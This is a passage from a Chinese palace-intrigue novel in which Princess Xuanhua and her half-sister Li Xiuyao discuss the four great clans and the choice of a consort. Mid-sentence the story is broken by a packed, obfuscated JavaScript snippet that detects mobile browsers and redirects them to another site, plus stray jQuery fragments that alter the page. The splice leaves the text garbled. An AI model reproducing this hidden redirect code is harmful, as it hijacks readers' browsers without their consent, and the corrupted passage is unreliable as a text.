宣华自然明白,父皇属意的人选是德惠大公主。
或许是先帝一口气生了十八位皇子,用尽了生儿子的气数,到了李煌这里,竟是全然反了过来。公主倒是不少,皇子却少得可怜。
李煌虽然荒淫好色,但年轻时勉强也称得上是一代英主。大楚到了他手上,国泰民安,虽并没有开疆裂土,但也寸土未失。
他骑射颇精,自己虽无雄心,却想培养出一位雄心壮志的太子。可惜的是,前太子李瑜自幼身体不好,时常病弱,况且在骑射上并无天赋。
倒是德惠大公主颇有英气,对骑射极有兴趣。李煌便也将她当男孩子养,教她骑射,聊以慰藉。那个时候,他的第一个长女,对他来说还是有相当的意义。
只是后来他耽于酒色,对德惠长公主的骑射教学也便因此荒废。不过,对于一个闺中女子来说,德惠大公主已经算得上精通骑射了。
后来,随着宫妃相继怀孕,公主越来越多,个个雪白可爱,一身男孩气的德惠大公主便不显得不那么可爱。再加之原配大杨后逐渐失宠,德惠大公主也便受到了冷落。
直到后来某年的除夕宴,番邦进贡汗血宝马。李煌一时兴起,令人牵马上殿,与众人共赏。岂料宝马忽然发狂,差点伤了李煌。
德惠大公主在当时万分危急的那一刻,奋不顾身推开了父皇,自己却被宝马踩断了腿。虽然命无大碍,却由此瘸了一腿。
李煌对长女的奋不顾身颇为感慨,自此对长女刮目相看。不但亲取美名,封她为“德惠”大公主,而且在自此之后,对她格外亲近。
彼时,李煌的原配杨后已经去世。德惠大公主重新受宠,被赐居于最靠近皇帝寝殿的畅春宫。未出阁的皇女独居一宫,这在洛阳宫几乎是太子才有的待遇。
可见,在李煌的心目中,这个长女的分量之重。
后来李煌立了杨氏一族的美人为继后,宫中人时称“小杨后”。李煌盛宠小杨后,偏疼小杨后之女李华婉,封之为“晋阳”公主。虽说尊位尚在德惠大公主之上,但德惠大公主的地位却始终是独一无二的。
王子陵既是王源之子,又是钦点驸马。不用多想,自然会指给最看重的皇长女。
这是多么显而易见的道理。可惜,宣华上一世不懂,这才一头扎了进去。
可她不懂,难道这两位皇妹也不懂吗?她看向灌木丛后的清河、再看向身边的修瑶,眼中慢慢露出一丝寒薄的笑意。
御道并不长,道上的人很快走远了。树林中的人们,却一个都没有动。
李昭文许是看得入神,并没有注意到自己方才的偷窥已经全然落入了别人的眼底。她尚且以为自己做得很隐蔽,带着小小的心虚和满足,微微地吁了口气。
发了一会儿呆,她抚了抚略有些发烫的脸颊,拨开树枝,走了出去。
李修瑶冷冷地看着李昭文的背影。直到她走得消失不见,她方才回过头来,冷冷地敌视着宣华:“你跟着我?”
“你不也跟着四皇妹?”宣华清澈的眼眸与他对目而视,嘴中却是嗤然笑道:“我还道,三皇妹你心高气傲,没想到竟躲在这里偷看外臣……”
“他可不是一般的外臣。想必,你不知道他是谁罢?他可是东平王之子,我们所能嫁的外臣之中最尊贵的男子。”李修瑶的语气虽不善,但不难听出她话语里的倾慕。
“东平王之子又如何?”既然顶着从乡下回来的名头,宣华也不怕装傻。
“东平王王源是我们大楚唯一的异性王,他出身名门王家。而王家,是咱们大楚最显赫的四大世家中最显贵的家族。”说到朝廷轶事上,李修瑶终于在这个乡下回来的皇姐面前找到了些许的优越感,也就不介意在她面前卖弄卖弄:“不过二皇姐刚刚回宫,想必不知道咱们大楚最显赫的四大世家是哪四家吧?”
“愿闻其详。”宣华微微一笑,决定装傻装到底。
“你莫非从未听说过王杨谢萧?”李修瑶用不可思议的眼神扫过她,略带轻视。“萧家乃是开国皇后母家,这个乃是寻常人都知道的事。如今的萧家家主,乃是成国公。而杨氏,则是本朝先皇后的母家,与我母亲的母家也是一脉相承……”说到此,她脸上颇有些与有荣焉的表情。“昔日我母妃入宫,便是被杨氏选送。”
“我听说,如今的皇后……母后,也是昔日杨氏选送?”宣华插了句嘴。
“不错,母后的母家,与我母妃的母家,都是杨氏本家的族亲。”李修瑶倒也不否认,只是眼中多少有些晦暗。
昔日大杨后生皇长女伤了身子,恐不能再怀孕。杨氏从家族的适龄女孩里,选了最美的三位送进了宫,为皇后巩固地位。当时被称之为“三杨美人”。只可惜,这三杨美人虽说都出自杨氏,却只有一位当了皇后,另外两位竟是都没有善终。
李修瑶的母妃就是不得善终的那一位,被她的娘舅连累,失宠后郁郁而死。而同是三杨美人的小杨后,不但当了皇后,生了太子,还盛宠多年。此刻想起来,同人不同命,那也是无可奈何之事。想起自己与杨后的女儿李华婉的身份差别,李修瑶不由黯然。
“那么谢家和王家呢?”好在宣华马上转移了话题。
“谢氏自然也是世代鼎贵的望族。如今的谢氏家主谢渊,原是前朝豫州刺史谢君之子,曾参与镇压淮南二叛和弑杀前朝末帝陈鳌,其长女谢宛又嫁予十九皇叔豫章王李闲为正妃,由此谢渊他深得父皇的信任。如今谢渊爵鲁郡公,任职太尉。不但是皇亲,还是重臣。至于王家,乃是秦代名将王离之后,那更是显贵之家。且不说王源乃是大楚唯一的异性王,单说他的三个儿子,各个都是人中龙凤……”说到此,李修瑶语气颇有几分赞誉。
“王家大郎王子钦,少年名士,通辩能言,十岁之时便曾两次辩倒名士孙晖。不仅如此,他还是个有名的美男子。宫宴上我曾见过他,虽已近四十,却仍甚有魅力。而王家二郎王子彦,英武神勇,乃是军中翘楚,屡立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413501|200658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
战功,只可惜,也有三十余岁,娶的是谢家的长女。”李修瑶将王家的儿郎说了一遍,末了道:“好在父王英明,早早就指了王家的三子为驸马。否则,真是可惜……”
“哦?这么说……刚才三皇妹偷看的那个外臣,是王家三郎?”宣华明知故问。
这一世,总归得要个借口来熟悉这些人。否则未卜先知,倒是令人生疑。
“那是王源第三子,王家三郎王子陵,少时以才秀知名,性情疏淡旷达。不过,他不喜与人亲近,偏喜欢四处游历。”说到这一点,李修瑶倒是颇不以为然。“只可惜,他不如他的两位兄长上进,否则,我或许会更喜欢他多一点。不过话说回来,若非他的两个兄长年龄实在太大,且早就婚嫁,大概我更喜爱他们家的大郎多一点。”
最后几句话,她声音压得颇低,眼波流转,看着宣华缓缓地说。
“三皇妹倒是坦荡。”宣华没想到李修瑶在自己面前说起这种话,倒是微微有些羞窘。
不过看她说起王子陵,虽然面目中有倾慕,但却并没有昔日自己那种痴迷状态。想来,这位精明的三皇妹倒是个冷静自持的。或者,她并非爱上了王子陵,实不过是如她所言,王子陵不过是她所能选择的驸马中身份最尊贵的一位而已。
“如二皇姐所说,我与二皇姐之间,并没有深仇大恨。既然二皇姐有意想跟我修好,那我也便从之。为表诚意,我自然坦白地跟二皇姐分享一些小秘密。”虽说是修好,但李修瑶脸上却是施舍的姿态。“想必……二皇姐不会告诉其他人吧?”
“自然不会。”宣华浅笑道。
“既然如此,那我就再提点二皇姐几句。虽大楚勋贵并不只这四家,其他世家的子弟也不会太差,但确实远远比不上这四家。而这四家,萧家和杨家这一代已经没有可婚配的适龄少年,谢家倒是儿郎多,却又绝非良配,这句话你以后就会明白是什么意思。如此一来,最适合当驸马的,只有王家三郎。这番话说下来,二皇姐觉得刚才那位小侯爷又如何?”
“若论家世,的确是个最好的选择。”宣华不动声色,只是淡淡一笑。
“哦?看来二皇姐竟然不为所动?虽说我们如今还小,但有些事,还是得尽早打算。”
“这种事,自有父皇做主。况且我刚才看父皇的意思,倒似是想把皇长姐许配给他。”宣华盯着李修瑶的表情。“三皇妹没有听到父皇说……再过两年,王家三郎愿不愿意当官,都是驸马都尉。再过两年,皇长姐必定得出阁了。咱们倒是可以再等些年。”
“那倒也未必。父皇固然可以点鸳鸯谱,可那也要看王家三郎喜欢谁。我想,他未必喜欢皇长姐。”李修瑶笃定道。
“哦?为何?”宣华盯着她。
“咱们皇长姐可是个瘸子……谁会喜欢一个瘸子呢?”附在宣华耳边,她笑得轻蔑而残忍。“所以,谁说你我没有机会?”她声音带着蛊惑性,即便宣华早已非往日的宣华,仍不免心尖一颤。